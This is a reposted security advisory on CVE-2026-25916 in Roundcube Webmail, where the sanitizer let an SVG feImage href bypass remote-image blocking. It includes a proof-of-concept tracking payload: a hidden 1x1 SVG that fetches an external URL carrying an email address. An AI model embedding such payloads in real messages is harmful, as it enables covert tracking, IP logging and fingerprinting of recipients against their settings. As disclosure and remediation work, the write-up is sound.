Khalil Shreateh specializes in cybersecurity, particularly as a "white hat" hacker. He focuses on identifying and reporting security vulnerabilities in software and online platforms, with notable expertise in web application security. His most prominent work includes discovering a critical flaw in Facebook's system in 2013. Additionally, he develops free social media tools and browser extensions, contributing to digital security and user accessibility.

Get Rid of Ads!


Subscribe now for only $3 a month and enjoy an ad-free experience.

Contact us at khalil@khalil-shreateh.com

 

 

Roundcube Webmail SVG Tracking
Roundcube Webmail SVG Tracking
Roundcube Webmail SVG Tracking

Roundcube Webmail <1.5.13 / <1.6.13 allows attackers Roundcube Webmail SVG Tracking

Roundcube Webmail <1.5.13 / <1.6.13 allows attackers to force remote image loads via SVG feImage

Roundcube's HTML sanitizer doesn't treat SVG feImage href as an image source. Attackers can bypass remote image blocking to track email opens. (CVE-2026-25916)

Date: 2026-02-08
Last Modified: 2026-02-09
Tags: vulnerability, roundcube, svg, email-security
URL: https://nullcathedral.com/posts/2026-02-08-roundcube-svg-feimage-remote-image-bypass/

------------------------------------------------------------------------

TL;DR: Roundcube's rcube_washtml sanitizer blocked external resources on <img>, <image>, and <use>, but not on <feImage>. Its href went through the wrong code path and got allowed through. Attackers could track email opens even when "Block remote images" was on. Fixed in 1.5.13 and 1.6.13.

Vulnerability information

Field | Value
Vendor | Roundcube
Product | Roundcube Webmail
Affected versions | < 1.5.13, 1.6.x < 1.6.13
CVE | CVE-2026-25916
Disclosure date | 2026-02-08

Background

When allow_remote is false, Roundcube's sanitizer intercepts image-bearing attributes (src on <img>, href on <image> and <use>) and runs them through is_image_attribute(). That function blocks external URLs.

Separately, non-image URLs (like <a href>) go through wash_link(), which lets HTTP/HTTPS URLs through. That's fine for links the user clicks on intentionally.

Discovery

I got bored during my christmas vacation and this SVG-based XSS fix via the animate tag appeared on my radar. One SVG bug usually means more.[1] So I spent some time going through rcube_washtml.php, looking at which SVG elements made it onto the allowlist and how their attributes get handled and sanitized.

<feImage> stood out.[2] Its href gets fetched on render, same as <img src>. But the sanitizer sends it through wash_link() instead of is_image_attribute().

So the "Block remote images" setting doesn't apply to it.

Technical details

In wash_attribs(), every attribute hits a chain of checks. The first one that matches wins:

rcube_washtml.php

if ($this->is_image_attribute($node->nodeName, $key)) {
$out = $this->wash_uri($value, true); // blocks remote URLs
} elseif ($this->is_link_attribute($node->nodeName, $key)) {
$out = $this->wash_link($value); // allows http/https
}

Before the fix, is_image_attribute() looked like this:

rcube_washtml.php

private function is_image_attribute($tag, $attr)
{
return $attr == 'background'
|| $attr == 'color-profile'
|| ($attr == 'poster' && $tag == 'video')
|| ($attr == 'src' && preg_match('/^(img|image|source|input|video|audio)$/i', $tag))
|| ($tag == 'use' && $attr == 'href')
|| ($tag == 'image' && $attr == 'href');
}

The href attribute is only matched for use and image. No feimage.

And is_link_attribute() is a catch-all[3]:

rcube_washtml.php

private function is_link_attribute($tag, $attr)
{
return $attr === 'href';
}

So when the sanitizer encounters <feImage href="https://...">: is_image_attribute('feimage', 'href') returns false, is_link_attribute('feimage', 'href') returns true, and the URL goes through wash_link() which passes HTTP/HTTPS URLs straight through.

Proof of concept

An invisible 1x1 SVG, positioned off-screen:

<svg width="1" height="1" style="position:absolute;left:-9999px;">
<defs>
<filter id="t">
<feImage href="https://httpbin.org/image/svg?email=This email address is being protected from spambots. You need JavaScript enabled to view it."
width="1" height="1"/>
</filter>
</defs>
<rect filter="url(#t)" width="1" height="1"/>
</svg>

The browser evaluates the SVG filter and fires a GET to the attacker's URL.

Impact

The "Block remote images" setting doesn't block this remote image. An attacker can confirm you opened it, log your IP, and fingerprint your browser.

Remediation

The fix (26d7677) collapses the two separate use/image checks into a single regex that includes feimage:

rcube_washtml.php

|| ($attr == 'href' && preg_match('/^(feimage|image|use)$/i', $tag)); // SVG

Now <feImage href> hits is_image_attribute() first, gets routed through wash_uri(), and the remote URL is blocked.

Update to 1.5.13 or 1.6.13.

Timeline

Date | Event
2026-01-04 | Reported to Roundcube
2026-02-08 | 1.5.13 and 1.6.13 released
2026-02-08 | This post
2026-02-09 | CVE-2026-25916 assigned

[1] The SVG spec is enormous and most sanitizers only handle the common elements. Whenever one SVG tag slips through, there are usually others on the same allowlist that nobody checked.

[2] It's an SVG filter primitive that loads an external image and uses it as input to a filter chain (spec). Rarely used in practice, which is probably why it was overlooked. Allowlists that grow by hand tend to have gaps like this.

[3] This matches href on every element, including <feImage>. That's the root cause.

------------------------------------------------------------------------

Source: NULL CATHEDRAL
https://nullcathedral.com/

Social Media Share